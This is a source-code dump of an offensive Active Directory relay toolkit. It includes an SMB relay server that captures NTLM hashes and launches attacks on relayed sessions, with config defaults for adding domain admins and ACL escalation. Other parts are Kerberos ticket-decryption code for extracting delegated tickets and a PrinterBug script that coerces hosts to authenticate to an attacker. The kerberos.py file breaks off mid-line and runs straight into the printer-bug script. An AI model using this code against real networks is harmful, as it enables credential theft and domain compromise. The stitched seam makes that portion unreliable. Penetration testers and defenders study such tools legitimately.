authenticateMessage['domain_name'], 431 | authenticateMessage['user_name'])) 432 | 433 | #Log this target as processed for this client 434 | self.targetprocessor.logTarget(self.target) 435 | 436 | client.killConnection() 437 | 438 | return None, [packet], errorCode 439 | else: 440 | # We have a session, create a thread and do whatever we want 441 | LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( 442 | self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) 443 | 444 | # Log this target as processed for this client 445 | self.targetprocessor.logTarget(self.target, True) 446 | 447 | ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 448 | authenticateMessage['user_name'], 449 | authenticateMessage['domain_name'], 450 | authenticateMessage['lanman'], authenticateMessage['ntlm']) 451 | client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 452 | 453 | if self.server.getJTRdumpPath() != '': 454 | writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 455 | self.server.getJTRdumpPath()) 456 | 457 | del (smbData[self.target]) 458 | 459 | self.do_attack(client) 460 | # Now continue with the server 461 | ############################################################# 462 | 463 | respToken = SPNEGO_NegTokenResp() 464 | # accept-completed 465 | respToken['NegResult'] = b'\x00' 466 | 467 | # Status SUCCESS 468 | errorCode = STATUS_SUCCESS 469 | # Let's store it in the connection data 470 | connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 471 | else: 472 | raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 473 | 474 | respParameters['SecurityBlobLength'] = len(respToken) 475 | 476 | respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 477 | respData['SecurityBlob'] = respToken.getData() 478 | 479 | else: 480 | # Process Standard Security 481 | #TODO: Fix this for other protocols than SMB [!] 482 | respParameters = smb.SMBSessionSetupAndXResponse_Parameters() 483 | respData = smb.SMBSessionSetupAndXResponse_Data() 484 | sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) 485 | sessionSetupData = smb.SMBSessionSetupAndX_Data() 486 | sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] 487 | sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] 488 | sessionSetupData.fromString(SMBCommand['Data']) 489 | 490 | client = smbData[self.target]['SMBClient'] 491 | _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) 492 | 493 | if errorCode != STATUS_SUCCESS: 494 | # Let's return what the target returned, hope the client connects back again 495 | packet = smb.NewSMBPacket() 496 | packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 497 | packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 498 | packet['Command'] = recvPacket['Command'] 499 | packet['Pid'] = recvPacket['Pid'] 500 | packet['Tid'] = recvPacket['Tid'] 501 | packet['Mid'] = recvPacket['Mid'] 502 | packet['Uid'] = recvPacket['Uid'] 503 | packet['Data'] = '\x00\x00\x00' 504 | packet['ErrorCode'] = errorCode >> 16 505 | packet['ErrorClass'] = errorCode & 0xff 506 | 507 | #Log this target as processed for this client 508 | self.targetprocessor.logTarget(self.target) 509 | 510 | # Finish client's connection 511 | #client.killConnection() 512 | 513 | return None, [packet], errorCode 514 | else: 515 | # We have a session, create a thread and do whatever we want 516 | LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( 517 | self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'], 518 | sessionSetupData['Account'])) 519 | 520 | self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() 521 | 522 | # Log this target as processed for this client 523 | self.targetprocessor.logTarget(self.target, True) 524 | 525 | ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], 526 | sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) 527 | client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 528 | 529 | if self.server.getJTRdumpPath() != '': 530 | writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 531 | self.server.getJTRdumpPath()) 532 | 533 | del (smbData[self.target]) 534 | 535 | self.do_attack(client) 536 | # Now continue with the server 537 | ############################################################# 538 | 539 | respData['NativeOS'] = smbServer.getServerOS() 540 | respData['NativeLanMan'] = smbServer.getServerOS() 541 | respSMBCommand['Parameters'] = respParameters 542 | respSMBCommand['Data'] = respData 543 | 544 | # From now on, the client can ask for other commands 545 | connData['Authenticated'] = True 546 | 547 | ############################################################# 548 | # SMBRelay 549 | smbServer.setConnectionData('SMBRelay', smbData) 550 | ############################################################# 551 | smbServer.setConnectionData(connId, connData) 552 | 553 | return [respSMBCommand], None, errorCode 554 | ################################################################################ 555 | 556 | def do_attack(self, authdata): 557 | # Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties 558 | self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) 559 | # No SOCKS, since socks is pointless when you can just export the tickets 560 | # instead we iterate over all the targets 561 | for target in self.config.target.originalTargets: 562 | parsed_target = target 563 | if parsed_target.scheme.upper() in self.config.attacks: 564 | client = self.config.protocolClients[target.scheme.upper()](self.config, parsed_target) 565 | client.initConnection(authdata, self.config.dcip) 566 | # We have an attack.. go for it 567 | attack = self.config.attacks[parsed_target.scheme.upper()] 568 | client_thread = attack(self.config, client.session, self.authUser) 569 | client_thread.start() 570 | else: 571 | LOG.error('No attack configured for %s', parsed_target.scheme.upper()) 572 | 573 | def do_relay(self, authdata): 574 | self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) 575 | sclass, host = authdata['service'].split('/') 576 | for target in self.config.target.originalTargets: 577 | parsed_target = target 578 | if host.lower() in parsed_target.hostname.lower(): 579 | # Found a target with the same SPN 580 | client = self.config.protocolClients[target.scheme.upper()](self.config, parsed_target) 581 | if not client.initConnection(authdata, self.config.dcip): 582 | return 583 | # We have an attack.. go for it 584 | attack = self.config.attacks[parsed_target.scheme.upper()] 585 | client_thread = attack(self.config, client.session, self.authUser) 586 | client_thread.start() 587 | return 588 | # Still here? Then no target was found matching this SPN 589 | LOG.error('No target configured that matches the hostname of the SPN in the ticket: %s', parsed_target.netloc.lower()) 590 | 591 | def _start(self): 592 | self.server.daemon_threads=True 593 | self.server.serve_forever() 594 | LOG.info('Shutting down SMB Server') 595 | self.server.server_close() 596 | 597 | def run(self): 598 | LOG.info("Setting up SMB Server") 599 | self._start() 600 | -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /lib/utils/config.py: -------------------------------------------------------------------------------- 1 | """ 2 | Config class, mostly extended from ntlmrelayx 3 | """ 4 | from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig 5 | 6 | class KrbRelayxConfig(NTLMRelayxConfig): 7 | def __init__(self): 8 | NTLMRelayxConfig.__init__(self) 9 | 10 | # Auth options 11 | self.dcip = None 12 | self.aeskey = None 13 | self.hashes = None 14 | self.password = None 15 | self.israwpassword = False 16 | self.salt = None 17 | 18 | # Krb options 19 | self.format = 'ccache' 20 | 21 | # LDAP options 22 | self.dumpdomain = True 23 | self.addda = True 24 | self.aclattack = True 25 | self.validateprivs = True 26 | self.escalateuser = None 27 | self.addcomputer = False 28 | self.delegateaccess = False 29 | 30 | # Custom options 31 | self.victim = None 32 | 33 | # Make sure we have a fixed version of this to avoid incompatibilities with impacket 34 | def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid): 35 | self.dumpdomain = dumpdomain 36 | self.addda = addda 37 | self.aclattack = aclattack 38 | self.validateprivs = validateprivs 39 | self.escalateuser = escalateuser 40 | self.addcomputer = addcomputer 41 | self.delegateaccess = delegateaccess 42 | self.dumplaps = dumplaps 43 | self.dumpgmsa = dumpgmsa 44 | self.dumpadcs = dumpadcs 45 | self.sid = sid 46 | 47 | def setAuthOptions(self, aeskey, hashes, dcip, password, salt, israwpassword=False): 48 | self.dcip = dcip 49 | self.aeskey = aeskey 50 | self.hashes = hashes 51 | self.password = password 52 | self.salt = salt 53 | self.israwpassword = israwpassword 54 | 55 | def setKrbOptions(self, outformat, victim): 56 | self.format = outformat 57 | self.victim = victim -------------------------------------------------------------------------------- /lib/utils/kerberos.py: -------------------------------------------------------------------------------- 1 | from __future__ import unicode_literals 2 | import struct 3 | import datetime 4 | import random 5 | from binascii import unhexlify, hexlify 6 | from pyasn1.type.univ import noValue 7 | from pyasn1.codec.der import decoder, encoder 8 | from pyasn1.error import PyAsn1Error 9 | from ldap3 import Server, Connection, NTLM, ALL, SASL, KERBEROS 10 | from ldap3.core.results import RESULT_STRONGER_AUTH_REQUIRED 11 | from ldap3.operation.bind import bind_operation 12 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech 13 | from impacket.krb5.gssapi import KRB5_AP_REQ, GSS_C_DELEG_FLAG 14 | from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ 15 | Ticket as TicketAsn1, EncTGSRepPart, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1, KRB_CRED, EncKrbCredPart 16 | 17 | from impacket.krb5.crypto import Key, _enctype_table, Enctype, InvalidChecksum, string_to_key 18 | from .krbcredccache import KrbCredCCache 19 | from .spnego import GSSAPIHeader_SPNEGO_Init, GSSAPIHeader_KRB5_AP_REQ 20 | from impacket import LOG 21 | from impacket.krb5.types import Principal, KerberosTime, Ticket 22 | from impacket.krb5 import constants 23 | from impacket.krb5.kerberosv5 import getKerberosTGS 24 | from Cryptodome.Hash import HMAC, MD4 25 | 26 | def get_auth_data(token, options): 27 | # Do we have a Krb ticket? 28 | blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] 29 | data = blob['innerContextToken']['negTokenInit']['mechToken'] 30 | try: 31 | payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] 32 | except PyAsn1Error: 33 | raise Exception('Error obtaining Kerberos data') 34 | # If so, assume all is fine and we can just pass this on to the legit server 35 | # we just need to get the correct target name 36 | apreq = payload['apReq'] 37 | 38 | # Get ticket data 39 | domain = str(apreq['ticket']['realm']).lower() 40 | # Assume this is NT_SRV_INST with 2 labels (not sure this is always the case) 41 | sname = '/'.join([str(item) for item in apreq['ticket']['sname']['name-string']]) 42 | 43 | # We dont actually know the client name, either use unknown$ or use the user specified 44 | if options.victim: 45 | username = options.victim 46 | else: 47 | username = f"unknown{random.randint(0, 10000):04d}$" 48 | return { 49 | "domain": domain, 50 | "username": username, 51 | "krbauth": token, 52 | "service": sname, 53 | "apreq": apreq 54 | } 55 | 56 | def get_kerberos_loot(token, options): 57 | from pyasn1 import debug 58 | # debug.setLogger(debug.Debug('all')) 59 | # Do we have a Krb ticket? 60 | blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] 61 | # print str(blob) 62 | 63 | data = blob['innerContextToken']['negTokenInit']['mechToken'] 64 | 65 | try: 66 | payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] 67 | except PyAsn1Error: 68 | raise Exception('Error obtaining Kerberos data') 69 | # print payload 70 | # It is an AP_REQ 71 | decodedTGS = payload['apReq'] 72 | # print decodedTGS 73 | 74 | # Get ticket data 75 | 76 | cipherText = decodedTGS['ticket']['enc-part']['cipher'] 77 | 78 | # Key Usage 2 79 | # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or 80 | # application session key), encrypted with the service key 81 | # (section 5.4.2) 82 | 83 | newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])] 84 | 85 | # Create decryption keys from specified Kerberos keys 86 | if options.hashes is not None: 87 | nthash = options.hashes.split(':')[1] 88 | else: 89 | nthash = '' 90 | 91 | aesKey = options.aeskey or '' 92 | 93 | allciphers = [ 94 | int(constants.EncryptionTypes.rc4_hmac.value), 95 | int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), 96 | int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) 97 | ] 98 | 99 | # Store Kerberos keys 100 | # TODO: get the salt from preauth info (requires us to send AS_REQs to the DC) 101 | keys = {} 102 | 103 | if nthash != '': 104 | keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash) 105 | if aesKey != '': 106 | if len(aesKey) == 64: 107 | keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(aesKey) 108 | else: 109 | keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(aesKey) 110 | 111 | ekeys = {} 112 | for kt, key in keys.items(): 113 | ekeys[kt] = Key(kt, key) 114 | 115 | # Calculate Kerberos keys from specified password/salt 116 | if options.password and options.salt: 117 | for cipher in allciphers: 118 | if cipher == 23 and options.israwpassword: 119 | # RC4 calculation is done manually for raw passwords 120 | md4 = MD4.new() 121 | md4.update(options.password) 122 | ekeys[cipher] = Key(cipher, md4.digest()) 123 | else: 124 | # Do conversion magic for raw passwords 125 | if options.israwpassword: 126 | rawsecret = options.password.decode('utf-16-le', 'replace').encode('utf-8', 'replace') 127 | else: 128 | # If not raw, it was specified from the command line, assume it's not UTF-16 129 | rawsecret = options.password 130 | ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt) 131 | LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents)) 132 | 133 | # Select the correct encryption key 134 | try: 135 | key = ekeys[decodedTGS['ticket']['enc-part']['etype']] 136 | # This raises a KeyError (pun intended) if our key is not found 137 | except KeyError: 138 | LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', 139 | decodedTGS['ticket']['enc-part']['etype'], 140 | ', '.join([str(enctype) for enctype in ekeys.keys()])) 141 | return None 142 | 143 | # Recover plaintext info from ticket 144 | try: 145 | plainText = newCipher.decrypt(key, 2, cipherText) 146 | except InvalidChecksum: 147 | LOG.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') 148 | if options.salt: 149 | LOG.info('You specified a salt manually. Make sure it has the correct case.') 150 | return 151 | LOG.debug('Ticket decrypt OK') 152 | encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] 153 | sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) 154 | 155 | # Key Usage 11 156 | # AP-REQ Authenticator (includes application authenticator 157 | # subkey), encrypted with the application session key 158 | # (Section 5.5.1) 159 | 160 | # print encTicketPart 161 | flags = encTicketPart['flags'].asBinary() 162 | # print flags 163 | # for flag in TicketFlags: 164 | # if flags[flag.value] == '1': 165 | # print flag 166 | # print flags[TicketFlags.ok_as_delegate.value] 167 | cipherText = decodedTGS['authenticator']['cipher'] 168 | newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])] 169 | # Recover plaintext info from authenticator 170 | plainText = newCipher.decrypt(sessionKey, 11, cipherText) 171 | 172 | authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0] 173 | # print authenticator 174 | 175 | # The checksum may contain the delegated ticket 176 | cksum = authenticator['cksum'] 177 | if cksum['cksumtype'] != 32771: 178 | raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype']) 179 | 180 | # Checksum as in 4.1.1 [RFC4121] 181 | # Fields: 182 | # 0-3 Length of channel binding info (fixed at 16) 183 | # 4-19 channel binding info 184 | # 20-23 flags 185 | # 24-25 delegation option identifier 186 | # 26-27 length of deleg field 187 | # 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28) 188 | # n..last extensions 189 | flags = struct.unpack('= 0: 124 | # The connection timed-out. Let's try to bring it back next round 125 | logging.error('Connection failed - skipping host!') 126 | return 127 | elif str(e).upper().find('ACCESS_DENIED'): 128 | # We're not admin, bye 129 | logging.error('Access denied - RPC call was denied') 130 | dce.disconnect() 131 | return 132 | else: 133 | raise 134 | logging.info('Got handle') 135 | 136 | request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() 137 | request['hPrinter'] = resp['pHandle'] 138 | request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB 139 | request['pszLocalMachine'] = '\\\\%s\x00' % self.__attackerhost 140 | request['pOptions'] = NULL 141 | try: 142 | resp = dce.request(request) 143 | except Exception as e: 144 | print(e) 145 | logging.info('Triggered RPC backconnect, this may or may not have worked') 146 | 147 | dce.disconnect() 148 | 149 | return None 150 | 151 | 152 | # Process command-line arguments. 153 | def main(): 154 | # Init the example's logger theme 155 | handler = logging.StreamHandler(sys.stderr) 156 | handler.setFormatter(ImpacketFormatter()) 157 | logging.getLogger().addHandler(handler) 158 | logging.getLogger().setLevel(logging.INFO) 159 | 160 | # Explicitly changing the stdout encoding format 161 | if sys.stdout.encoding is None: 162 | # Output is redirected to a file 163 | sys.stdout = codecs.getwriter('utf8')(sys.stdout) 164 | logging.info(version.BANNER) 165 | 166 | parser = argparse.ArgumentParser() 167 | 168 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 169 | parser.add_argument('attackerhost', action='store', help='hostname to connect to') 170 | parser.add_argument("--verbose", action="store_true", help="Switch verbosity to DEBUG") 171 | 172 | group = parser.add_argument_group('connection') 173 | 174 | group.add_argument('-target-file', 175 | action='store', 176 | metavar="file", 177 | help='Use the targets in the specified file instead of the one on'\ 178 | ' the command line (you must still specify something as target name)') 179 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 180 | help='Destination port to connect to SMB Server') 181 | group.add_argument("-timeout", 182 | action="store", 183 | metavar="timeout", 184 | default=1, 185 | help="Specify a timeout for the TCP ping check") 186 | group.add_argument("-no-ping", 187 | action="store_false", 188 | help="Specify if a TCP ping should be done before connection"\ 189 | "NOT recommended since SMB timeouts default to 300 secs and the TCP ping assures connectivity to the SMB port") 190 | 191 | group = parser.add_argument_group('authentication') 192 | 193 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 194 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful when proxying through ntlmrelayx)') 195 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 196 | '(KRB5CCNAME) based on target parameters. If valid credentials ' 197 | 'cannot be found, it will use the ones specified in the command ' 198 | 'line') 199 | group.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') 200 | group.add_argument('-target-ip', action='store', metavar="ip address", 201 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 202 | 'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it') 203 | 204 | if len(sys.argv)==1: 205 | parser.print_help() 206 | sys.exit(1) 207 | 208 | options = parser.parse_args() 209 | 210 | import re 211 | 212 | domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 213 | options.target).groups('') 214 | 215 | #In case the password contains '@' 216 | if '@' in remote_name: 217 | password = password + '@' + remote_name.rpartition('@')[0] 218 | remote_name = remote_name.rpartition('@')[2] 219 | 220 | if options.verbose: 221 | logging.getLogger().setLevel(logging.DEBUG) 222 | 223 | if domain is None: 224 | domain = '' 225 | 226 | if options.dc_ip is None: 227 | dc_ip = domain 228 | else: 229 | dc_ip = options.dc_ip 230 | 231 | if password == '' and username != '' and options.hashes is None and options.no_pass is False: 232 | from getpass import getpass 233 | password = getpass("Password:") 234 | 235 | remote_names = [] 236 | if options.target_file is not None: 237 | with open(options.target_file, 'r') as inf: 238 | for line in inf: 239 | remote_names.append(line.strip()) 240 | else: 241 | remote_names.append(remote_name) 242 | 243 | lookup = PrinterBug(username, password, domain, int(options.port), options.hashes, options.attackerhost, options.no_ping, float(options.timeout), options.k, dc_ip, options.target_ip) 244 | for remote_name in remote_names: 245 | 246 | try: 247 | lookup.dump(remote_name) 248 | except KeyboardInterrupt: 249 | break 250 | 251 | 252 | if __name__ == '__main__': 253 | main() 254 | --------------------------------------------------------------------------------